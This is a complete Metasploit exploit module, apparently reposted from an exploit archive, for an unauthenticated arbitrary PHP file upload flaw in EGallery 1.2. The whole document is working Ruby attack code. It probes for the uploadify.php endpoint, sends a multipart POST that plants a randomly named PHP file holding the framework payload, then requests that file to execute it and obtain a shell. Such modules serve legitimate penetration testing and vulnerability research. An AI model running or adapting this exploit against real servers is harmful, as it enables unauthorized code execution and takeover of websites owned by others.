EGallery – Arbitrary ‘.PHP’ File Upload (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "EGallery PHP File Upload Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in EGallery 1.2 By abusing the uploadify.php file, a malicious user can upload a file to the egallery/ directory without any authentication, which results in arbitrary code execution. The module has been tested successfully on Ubuntu 10.04. }, 'License' => MSF_LICENSE, 'Author' => [ 'Sammy FORGIT', # Discovery, PoC 'juan' # Metasploit module ], 'References' => [ ['OSVDB', '83891'], ['BID', '54464'], ['URL', 'http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['EGallery 1.2', {}] ], 'Privileged' => false, 'DisclosureDate' => "Jul 08 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to EGallery', '/sample']) ], self.class) end def check uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{uri}egallery/uploadify.php" }) if res and res.code == 200 and res.body.empty? return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" payload_name = rand_text_alpha(rand(10) + 5) + '.php' boundary = Rex::Text.rand_text_hex(7) post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n\r\n" post_data << "#{payload_name}\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"folder\"\r\n\r\n" post_data << "#{uri}\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n" post_data << "<?php " post_data << payload.encoded post_data << " ?>\r\n" post_data << "--#{boundary}--\r\n" print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}egallery/uploadify.php", 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data }) # If the server returns 200 and the body contains our payload name, # we assume we uploaded the malicious file successfully if not res or res.code != 200 or res.body !~ /#{payload_name}/ print_error("#{peer} - File wasn't uploaded, aborting!") return end print_status("#{peer} - Executing PHP payload (#{payload_name})") # Execute our payload res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{uri}#{payload_name}" }) # If we don't get a 200 when we request our malicious payload, we suspect # we don't have a shell, either. Print the status code for debugging purposes. if res and res.code != 200 print_status("#{peer} - Server returned #{res.code.to_s}") end end end |